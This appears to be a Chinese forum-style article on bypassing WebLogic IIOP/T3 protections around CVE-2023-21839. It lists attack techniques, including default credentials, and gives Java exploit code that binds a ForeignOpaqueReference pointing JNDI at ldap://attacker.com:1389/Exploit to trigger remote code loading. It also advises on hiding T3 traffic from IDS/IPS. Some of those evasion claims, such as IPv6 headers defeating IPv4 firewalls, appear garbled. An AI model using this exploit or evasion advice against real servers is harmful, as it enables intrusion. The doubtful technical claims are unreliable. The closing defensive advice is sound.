IIOP/T3协议漏洞还能被哪些绕过?
TOPIC SOURCE
CVE-2023-21839:Weblogic反序列化漏洞
近几年 IIOP/T3 协议的安全缺陷被频繁曝光,攻击者不再满足于单纯的未授权访问,而是通过层层叠加的技巧实现更深层的渗透。究竟还有哪些“隐蔽通道”可以被利用,值得安全团队细致梳理。
常见绕过手段概览
- 利用序列化对象注入(Java Object Stream)直接触发远程代码执行。
- 在 T3 连接建立阶段发送特制的 ORB 握手包,迫使服务器跳过身份校验。
- 借助 JNDI lookup 路径混淆,将 LDAP、RMI 或 DNS 服务器伪装成合法的资源。
- 利用已知的默认口令(如 weblogic / weblogic)进行二次认证,随后直接注入恶意对象。
- 通过 HTTP Upgrade to T3 的升级请求,规避防火墙对纯 T3 流量的拦截。
利用序列化漏洞的细节
序列化链的核心在于找到能够在反序列化时自动执行 java.lang.Runtime.exec 的类路径。例如 weblogic.deployment.jms.ForeignOpaqueReference 在特定属性注入后会触发 JNDI 查找,而 JNDI 本身可以指向任意 LDAP 服务器。攻击者只需要构造一个包含 remoteJNDIName 的对象实例,并通过 T3 的 bind 方法写入目标实例空间,随后执行 lookup 即可完成代码注入。
Hashtable<String,String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"weblogic.jndi.WLInitialContextFactory");
InitialContext ctx = new InitialContext(env);
ForeignOpaqueReference payload = new ForeignOpaqueReference();
Field f = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
f.setAccessible(true);
f.set(payload, "ldap://attacker.com:1389/Exploit");
String bindName = "x"+System.nanoTime();
ctx.bind(bindName, payload);
ctx.lookup(bindName);
网络层混淆技巧
不少企业的边界防御仅针对常规的 T3 端口(7001/7002)做了协议识别,实际流量却可以在 TLS 封装或 HTTP Upgrade 头中隐藏。通过在 HTTP 请求中加入 Upgrade: T3/1.0,服务器会在握手完成后切换到二进制 T3 流,原本的 IDS/IPS 难以捕获。再配合 IP 碎片化或 TCP 重传伪装,攻击流量的特征被进一步稀释。
- 在 TLS 加密层内嵌入 T3 包,利用 SNI 绕过基于明文协议的过滤。
- 使用多路复用的 HTTP/2 连接,将 T3 数据帧映射为自定义的 DATA 帧。
- 利用 IPv6 的扩展头部插入无害的填充字段,让传统的 IPv4 防火墙失效。
综上所述,IIOP/T3 漏洞的利用已经不再是单一的“打开端口即能攻击”,而是一场对协议细节、序列化链以及网络栈多层次的博弈。安全团队若想在防御上取得主动,必须同步审视代码层面的对象过滤、配置层面的协议限制以及边界层面的流量解密。

参与讨论
这个序列化链的细节讲得挺清楚,之前调试的时候确实遇到过类似的坑。
HTTP升级头绕过这招有点东西,实际渗透测试里经常被忽略。
想问下这种绕过手法在WebLogic 12c上还能用吗?